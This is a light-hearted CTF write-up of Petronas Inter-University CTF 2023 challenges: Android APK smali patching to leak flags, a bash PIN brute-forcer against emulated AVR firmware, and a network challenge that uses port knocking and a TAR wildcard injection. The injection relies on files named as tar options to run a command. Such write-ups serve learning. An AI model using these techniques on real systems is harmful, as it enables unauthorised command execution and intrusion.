How to Win A CTF by Overcomplicating Things
My unnecessary long writeups for Petronas Inter-University CTF 2023
Step 1: Find very good teammates
Let them do all the work.

Step 2: Spend the whole competition looking for unintended solution
Act busy by going the long way to solve challenges with unintended solutions.

Qualifiers
ReverseMe (Android Reversing)
In the first Android Reversing challenge, we were given the file myapps.apk
, which can be decompiled with apktools
or decompiler.com.
┌──(kali💀JesusCries)-[~/Desktop/CTF/Petronas CTF 2023/Reverse]
└─$ apktool d myapps.apk
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
I: Using Apktool 2.7.0-dirty on myapps.apk
I: Loading resource table...
I: Decoding AndroidManifest.xml with resources...
I: Loading resource table from file: /home/kali/.local/share/apktool/framework/1.apk
I: Sparse type flags detected: style
I: Sparse type flags detected: string
I: Sparse type flags detected: id
I: Regular manifest package...
I: Decoding file-resources...
I: Decoding values */* XMLs...
I: Baksmaling classes.dex...
I: Baksmaling classes3.dex...
I: Baksmaling classes2.dex...
I: Baksmaling classes4.dex...
I: Baksmaling classes5.dex...
I: Copying assets and libs...
I: Copying unknown files...
I: Copying original files...
I: Copying META-INF/services directory
Intended Solution
To get the flag the easy way, perform a simple recursive grep.
┌──(kali💀JesusCries)-[~/…/CTF/Petronas CTF 2023/Reverse/myapps]
└─$ grep -rni "petgrad2023"
res/values/strings.xml:40: <string name="flag">{PETGRAD2023}_S1mPl3Fl4g</string>
Unintended Solution
To make my life easier, I decided to install the package on a Pixel 5 emulator using Android Studio to interact with the Android application.
C:\Users\Wesley\Downloads>adb devices
* daemon not running; starting now at tcp:5037
* daemon started successfully
List of devices attached
emulator-5554 offline
C:\Users\Wesley\Downloads>adb install myapps.apk
Performing Streamed Install
Success
Overall, the application presents an event handler that loads the flag in the background when the button is pressed.

Taking a look at the source code, the flag is used in the displayFlagStatus
method to calculate its length, but was never printed out on the application interface.

A novel method to leak the flag is by patching the application's Dalvik bytecode. The assembly representation of displayFlagStatus
is a relatively big chunk, but our main interest is only .param p1
:
To retrieve the flag during runtime, we'll make use of the PrintStream
object from Java's IO class. The remaining portion of the code can then be discarded safely.
.method private final displayFlagStatus(Ljava/lang/String;)V
.registers 2 # 2 registers: v0, v1
sget-object v0, Ljava/lang/System;->out:Ljava/io/PrintStream;
.param p1, "flag" # Ljava/lang/String;
invoke-virtual {v0,p1}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V
return-void
.end method
Once the changes have been made, we can recompile the application using APKLab, and re-install it on the emulator with adb.

Up until this point, we're still missing 1 crucial step. Think about it; we are printing the flag to the console, but there's no direct access to the terminal via the application's interface. To overcome this, we can use adb logcat
to dump system logs, which include messages written from our application's code.
This is actually one of the common pitfalls in mobile development dubbed "Insecure Logging", whereby sensitive information logged in a staging environment is shipped to production.

Flag: {PETGRAD2023}_S1mPl3Fl4g
GetMeCorrect (Android Reversing)
We have yet another Android Reversing challenge with the given file dynamic.apk
. As usual, we'll decompile the application to look at some point of interest.
It appears that the flag is constructed part-by-part with a string builder during runtime, with part 3 derived from unknown native libraries.
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
String str = LiveLiterals$MainActivityKt.INSTANCE.m3String$valpart1$funonCreate$classMainActivity() + LiveLiterals$MainActivityKt.INSTANCE.m4String$valpart2$funonCreate$classMainActivity() + getNativeFlagPart() + LiveLiterals$MainActivityKt.INSTANCE.m5String$valpart4$funonCreate$classMainActivity();
((Button) findViewById(R.id.btnRevealFlag)).setOnClickListener(new MainActivity$$ExternalSyntheticLambda0(this));
}
Intended Solution
Part 1, 2, and 4 of the flag is visible directly from LiveLiterals$MainActivityKt.java
:
Since part 3 is derived from native libraries, a simple strings command on the decompiled library should reveal it. Putting everything together would then give us the complete flag.
┌──(kali💀JesusCries)-[~/…/Reverse/dynamic/lib/x86]
└─$ strings libdynamicflagchallenge.so
Android
r25b
8937393
__cxa_finalize
__cxa_atexit
__register_atfork
Java_com_example_dynamicflagchallenge_MainActivity_getNativeFlagPart
_ZN7_JNIEnv12NewStringUTFEPKc
libc.so
LIBC
libandroid.so
liblog.so
libm.so
libdl.so
libdynamicflagchallenge.so
_N3xu$_ # part 3
Android (8490178, based on r450784d) clang version 14.0.6 (https://android.googlesource.com/toolchain/llvm-project 4c603efb0cca074e9238af8b4106c30add4418f6)
Linker: LLD 14.0.6
Unintended Solution
After installation, the original APK file appears to be corrupted, which results in runtime error. Not entirely sure if this is by design or accidental, but we'll try to repair the APK so that it actually runs.

After several troubleshooting attempts, the following modifications on AndroidManifest.xml
are required:
android:extractNativeLibs="false"
->android:extractNativeLibs="true"
android:theme="@style/Theme.DynamicFlagChallenge"
->android:theme="@style/Theme.AppCompat.Light"
Furthermore, the application seems to be loading the native library via the wrong file name. To fix this, I simply renamed libdynamicflagchallenge.so
to libnativeFlagPart.so
and recompile with APKLab.

After getting the application to run, we are greeted with a similar interface as the previous challenge.

The popup message Nice try! But you'll have to dig deeper
is implemented through the Toast
class whenever the button is pressed. Similar to the previous challenge, we'll tackle this challenge by patching Dalvik bytecode.
This time around, instead of printing the flag to a console terminal, we'll make use of the existing Toast
class for the same purpose. The patched code is going to be slightly lengthy as we need to retrieve all 4 parts of the flags and concatenate them together to form the final flag.
.method private static final onCreate$lambda$0(Lcom/example/dynamicflagchallenge/MainActivity;Landroid/view/View;)V
.locals 7
.param p0, "this$0" # Lcom/example/dynamicflagchallenge/MainActivity;
.param p1, "it" # Landroid/view/View;
const-string v0, "this$0"
invoke-static {p0, v0}, Lkotlin/jvm/internal/Intrinsics;->checkNotNullParameter(Ljava/lang/Object;Ljava/lang/String;)V
.line 27
move-object v0, p0
check-cast v0, Landroid/content/Context;
sget-object v1, Lcom/example/dynamicflagchallenge/LiveLiterals$MainActivityKt;->INSTANCE:Lcom/example/dynamicflagchallenge/LiveLiterals$MainActivityKt;
invoke-virtual {v1}, Lcom/example/dynamicflagchallenge/LiveLiterals$MainActivityKt;->String$arg-1$call-makeText$$this$call-show$fun-$anonymous$$arg-0$call-setOnClickListener$fun-onCreate$class-MainActivity()Ljava/lang/String;
move-result-object v1
check-cast v1, Ljava/lang/CharSequence;
const/4 v2, 0x1
sget-object v3, Lcom/example/dynamicflagchallenge/LiveLiterals$MainActivityKt;->INSTANCE:Lcom/example/dynamicflagchallenge/LiveLiterals$MainActivityKt;
invoke-virtual {v3}, Lcom/example/dynamicflagchallenge/LiveLiterals$MainActivityKt;->String$val-part1$fun-onCreate$class-MainActivity()Ljava/lang/String;
move-result-object v3
sget-object v4, Lcom/example/dynamicflagchallenge/LiveLiterals$MainActivityKt;->INSTANCE:Lcom/example/dynamicflagchallenge/LiveLiterals$MainActivityKt;
invoke-virtual {v4}, Lcom/example/dynamicflagchallenge/LiveLiterals$MainActivityKt;->String$val-part2$fun-onCreate$class-MainActivity()Ljava/lang/String;
move-result-object v4
invoke-virtual {p0}, Lcom/example/dynamicflagchallenge/MainActivity;->getNativeFlagPart()Ljava/lang/String;
move-result-object v5
sget-object v6, Lcom/example/dynamicflagchallenge/LiveLiterals$MainActivityKt;->INSTANCE:Lcom/example/dynamicflagchallenge/LiveLiterals$MainActivityKt;
invoke-virtual {v6}, Lcom/example/dynamicflagchallenge/LiveLiterals$MainActivityKt;->String$val-part4$fun-onCreate$class-MainActivity()Ljava/lang/String;
move-result-object v6
new-instance v7, Ljava/lang/StringBuilder;
invoke-direct {v7}, Ljava/lang/StringBuilder;-><init>()V
invoke-virtual {v7, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
move-result-object v7
invoke-virtual {v7, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
move-result-object v7
invoke-virtual {v7, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
move-result-object v7
invoke-virtual {v7, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
move-result-object v7
invoke-virtual {v7}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
move-result-object v7
invoke-static {v0, v7, v2}, Landroid/widget/Toast;->makeText(Landroid/content/Context;Ljava/lang/CharSequence;I)Landroid/widget/Toast;
move-result-object v0
invoke-virtual {v0}, Landroid/widget/Toast;->show()V
.line 28
return-void
.end method
Recompile the application and press the button to get the final flag!

Flag: petgrad2023{Qu@ntum_N3xu$_C0d3br3@k3r}
Finals
We’re Running Out of Time! (Firmware Reversing)
For this challenge, we were given an Atmel AVR firmware runningoutoftime2.hex
in the Intel Hex format.

The aim is to derive the 5-digit PIN by any means and unlock the physical safe located in the middle of the room.

Unintended Solution
To emulate the firmware logic, I opted to use the following simavr components:
simduino to boot start the Arduino emulator.
picocom for serial input.
avr-gdb for debugging.
The physical safe itself has a lockout policy to prevent brute forcing during the CTF. However, the firmware binary does not contain this constraint when emulated with simavr. As shown above, simduino exposes /dev/pts/3
for serial input and /dev/pts/4
for serial output. This presents a perfect opportunity for us to brute force the PIN as there are only 99999 combinations to try.
We can automate this whole process using input & output redirection magic in bash.
#!/bin/bash
_STDIN="/dev/pts/3"
_STDOUT="/dev/pts/4"
_LOG="/tmp/runningoutoftime.log"
current_guess=0
if [ -f "$_LOG" ];
then
rm "$_LOG"
fi
# /dev/pts/4 is a continous data stream, we have to background this with &
cat "$_STDOUT" >> "$_LOG" &
while [ $current_guess -le 99999 ]; do
# Format the current guess as a 5-digit PIN with leading zeros
current_guess_formatted=$(printf "%05d" $current_guess)
# Send the current guess to the serial input
echo "Currently guessing: $current_guess_formatted"
echo "$current_guess_formatted" > "$_STDIN"
# Wait for the specified delay
usleep 300000
# Monitor the response from the serial output
response=$(tail -n 3 "$_LOG")
if [[ "$response" != *"Incorrect"* ]]; then
echo "Correct PIN found: $current_guess_formatted"
break
fi
# Increment the current guess
current_guess=$((current_guess + 1))
# Wait for the specified delay
usleep 300000
done
Intended Solution
The AVR firmware provided initially did not contain any symbols, which makes debugging a little difficult. Near the end of the CTF, the author released the original ELF file that contains all the debugging symbols.
┌──(kali💀JesusCries)-[~/Desktop]
└─$ file runningoutoftime
runningoutoftime: ELF 32-bit LSB executable, Atmel AVR 8-bit, version 1 (SYSV), statically linked, with debug_info, not stripped

Disassembling dbg.main
under Radare2 reveals an interesting loop of comparison statements where our input PIN is checked. Since the correct PIN is loaded into a couple of registers, a simple registers dump should give us the answer.
Enable OPCODE description with
e asm.describe = true
in Radare2.

Using GDB, place a breakpoint on the first brne
instruction and dump all registers value with info registers
. In this case, the correct PIN for each position is stored on the lower byte region; whereas our input is stored on the higher byte region.
Pos 1 (r18-r19)
5
8
Pos 2 (r20-r21)
4
9
Pos 3 (r22-r23)
3
0
Pos 4 (r30-r31)
2
7
Pos 5 (r26-r27)
1
6
PIN: 89076
Intruding the Ominous Black Cube (Network)
This challenge is worth 700 points, making it the highest-score challenge (but not necessarily the hardest) throughout the entire CTF. To start off, we were given a relatively small packet capture file blackcube.pcap
, containing only 295 packets to analyze.

Initial analysis reveals several endpoints /admin
, /menu
, /dashboard
made to the web server on port 5000, but nothing too interesting, except for packet 205, which reveals a suspicious base64 encoded string.

Decoding the string gives us petronasgradctf:Whoistheg0dofCtf
that looks like a set of credentials we could use somewhere else.
┌──(kali💀JesusCries)-[~]
└─$ echo "cGV0cm9uYXNncmFkY3RmOldob2lzdGhlZzBkb2ZDdGY=" | base64 -d
petronasgradctf:Whoistheg0dofCtf
Looking at the list of network access points, we were able to authenticate to a hidden network using the credentials above.

Later on, I was stuck at this challenge until a dead giveaway hint was released afterward.

The hint combined with a bunch of TCP retransmission confirmed that there's something to do with Port Knocking. Coincidentally, a topic that I've shared previously for a sharing session.

Now we'll have to find out the knock sequence by figuring out the timeline where the web server responded to our request on port 5000 after the TCP retransmission stream ends.

Sending the knock sequence is pretty straightforward. The flag -d 500
is used here to introduce delay between knocks, just in case the server receives them in the wrong order.
┌──(kali💀JesusCries)-[~]
└─$ knock -v 192.168.0.107 17613:tcp 22791:tcp 20882:tcp 51313:tcp -d 500
hitting tcp 192.168.0.107:17613
hitting tcp 192.168.0.107:22791
hitting tcp 192.168.0.107:20882
hitting tcp 192.168.0.107:51313
Navigating to port 5000, we can now access the web server which wasn't possible before.

Recall that the endpoint upload-page
was found during PCAP analysis, and the subtle hints of TAR file made it obvious that we needed to exploit a TAR Wildcard Injection vulnerability. (From OSCP lol, which I took just a week before the CTF)

Prepare the payload as follows:
┌──(kali💀JesusCries)-[~/Desktop/Blackcube/temp]
└─$ touch -- --checkpoint=1
┌──(kali💀JesusCries)-[~/Desktop/Blackcube/temp]
└─$ touch -- "--checkpoint-action=exec=cat flag.txt"
┌──(kali💀JesusCries)-[~/Desktop/Blackcube/temp]
└─$ cd ..
┌──(kali💀JesusCries)-[~/Desktop/Blackcube]
└─$ tree
.
└── temp
├── --checkpoint=1
└── --checkpoint-action=exec=cat flag.txt
2 directories, 2 files
┌──(kali💀JesusCries)-[~/Desktop/Blackcube]
└─$ tar -cf update.tar *
Finally, upload the tar file to receive the flag.

Flag: petgrad2023{7h3_B1@ck_cu83}
Step 3: Free-load the trophy

Last updated